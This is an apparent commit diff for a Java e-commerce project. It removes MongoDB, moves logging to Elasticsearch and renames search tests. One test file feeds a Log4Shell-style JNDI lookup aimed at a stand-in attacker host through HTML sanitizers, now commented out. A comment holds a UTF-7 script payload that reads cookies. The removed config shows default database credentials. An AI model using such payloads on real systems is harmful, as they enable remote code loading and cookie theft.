移除mongo,将系统日志存储在es。修复拼团商品的正常购买价格为拼团价格问题

manager-api/src/main/java/cn/lili/controller/promotion/PintuanManagerController.java

@@ -46,8 +46,8 @@ public class PintuanManagerController {
     @GetMapping
     @ApiOperation(value = "根据条件分页查询拼团活动列表")
     public ResultMessage<IPage<Pintuan>> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) {
-        IPage<Pintuan> pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo);
-        return ResultUtil.data(pintuanByPageFromMongo);
+        IPage<Pintuan> pintuanIPage = pintuanService.pageFindAll(queryParam, pageVo);
+        return ResultUtil.data(pintuanIPage);
     }
 
     @GetMapping("/goods/{pintuanId}")

manager-api/src/main/resources/application.yml

@@ -29,15 +29,6 @@ spring:
     admin:
       client:
         url: http://127.0.0.1:8000
-  # mongodb
-  data:
-    mongodb:
-      uri: 127.0.0.1:27017
-      database: lilishop
-      username: root
-      password: lilishop
-      authentication-database: admin
-  #      replica-set-name: mongoreplset
   cache:
     type: redis
   # Redis
@@ -174,7 +165,6 @@ logging:
     cn.lili: info
   #    org.hibernate: debug
   #    org.springframework: debug
-  #    org.springframework.data.mongodb.core: debug
   file:
     # 指定路径
     path: lili-logs

manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java

@@ -1,6 +1,5 @@
 package cn.lili.test.elasticsearch;
 
-import cn.hutool.http.HtmlUtil;
 import cn.hutool.json.JSONUtil;
 import cn.lili.cache.Cache;
 import cn.lili.common.vo.PageVO;
@@ -20,13 +19,13 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
 import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.extension.ExtendWith;
-import org.owasp.html.Sanitizers;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.boot.test.context.SpringBootTest;
 import org.springframework.data.elasticsearch.core.SearchPage;
 import org.springframework.test.context.junit.jupiter.SpringExtension;
 
 import java.util.ArrayList;
+import java.util.Date;
 import java.util.List;
 import java.util.Map;
 
@@ -64,13 +63,14 @@ class EsTest {
 //        System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
 //        System.out.println(HtmlUtil.unescape(safeHTML));
 //        System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
-//        Date dt1 = new Date(2017, 3, 31);
-//        Date dt2 = new Date(2017, 5, 14)Z
-//        System.out.println(dt2.after(dt1));
-        String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
-        String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
-        System.out.println(filter);
-        System.out.println(sanitize);
+        Date dt1 = new Date(2021, 12, 10);
+        Date dt2 = new Date(2021, 12, 14);
+
+        System.out.println(new Date().before(dt2));
+//        String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
+//        String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
+//        System.out.println(filter);
+//        System.out.println(sanitize);
 
     }
 

manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java

@@ -1,10 +1,8 @@
 package cn.lili.test.promotion;
 
 import cn.lili.common.enums.PromotionTypeEnum;
-import cn.lili.common.properties.RocketmqCustomProperties;
 import cn.lili.common.vo.PageVO;
 import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
-import cn.lili.modules.goods.service.GoodsSkuService;
 import cn.lili.modules.promotion.entity.dos.Coupon;
 import cn.lili.modules.promotion.entity.dos.PromotionGoods;
 import cn.lili.modules.promotion.entity.enums.CouponGetEnum;
@@ -14,7 +12,6 @@ import cn.lili.modules.promotion.entity.vos.CouponSearchParams;
 import cn.lili.modules.promotion.entity.vos.CouponVO;
 import cn.lili.modules.promotion.service.CouponService;
 import com.baomidou.mybatisplus.core.metadata.IPage;
-import org.apache.rocketmq.spring.core.RocketMQTemplate;
 import org.junit.jupiter.api.Assertions;
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.extension.ExtendWith;
@@ -36,15 +33,6 @@ class CouponTest {
     @Autowired
     private CouponService couponService;
 
-    @Autowired
-    private GoodsSkuService goodsSkuService;
-
-    @Autowired
-    private RocketMQTemplate rocketMQTemplate;
-
-    @Autowired
-    private RocketmqCustomProperties rocketmqCustomProperties;
-
     @Test
     void addCoupon() {
         CouponVO couponVO = new CouponVO();
@@ -161,19 +149,19 @@ class CouponTest {
         promotionGoodsList.add(promotionGoods);
 
         couponVO.setPromotionGoodsList(promotionGoodsList);
-        Assertions.assertNotNull(couponService.updatePromotions(couponVO));
+        Assertions.assertTrue(couponService.updatePromotions(couponVO));
     }
 
     @Test
-    void searchFromMongo() {
+    void search() {
         CouponSearchParams queryParam = new CouponSearchParams();
         queryParam.setStoreId("");
         PageVO pageVo = new PageVO();
         pageVo.setPageNumber(0);
         pageVo.setPageSize(10);
-        IPage<Coupon> couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo);
-        Assertions.assertNotNull(couponsByPageFromMongo);
-        couponsByPageFromMongo.getRecords().forEach(System.out::println);
+        IPage<Coupon> couponsByPage = couponService.pageFindAll(queryParam, pageVo);
+        Assertions.assertNotNull(couponsByPage);
+        couponsByPage.getRecords().forEach(System.out::println);
     }
 
     @Test

manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java

@@ -71,7 +71,7 @@ class FullDiscountTest {
     }
 
     @Test
-    void searchFromMongo() {
+    void search() {
         PageVO pageVo = new PageVO();
         pageVo.setPageSize(10);
         pageVo.setPageNumber(0);
@@ -79,9 +79,9 @@ class FullDiscountTest {
         pageVo.setSort("startTime");
         pageVo.setOrder("asc");
 
-        IPage<FullDiscount> fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
+        IPage<FullDiscount> fullDiscountByPage = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null);
 
-        Assertions.assertNotNull(fullDiscountByPageFromMongo);
+        Assertions.assertNotNull(fullDiscountByPage);
     }
 
     @Test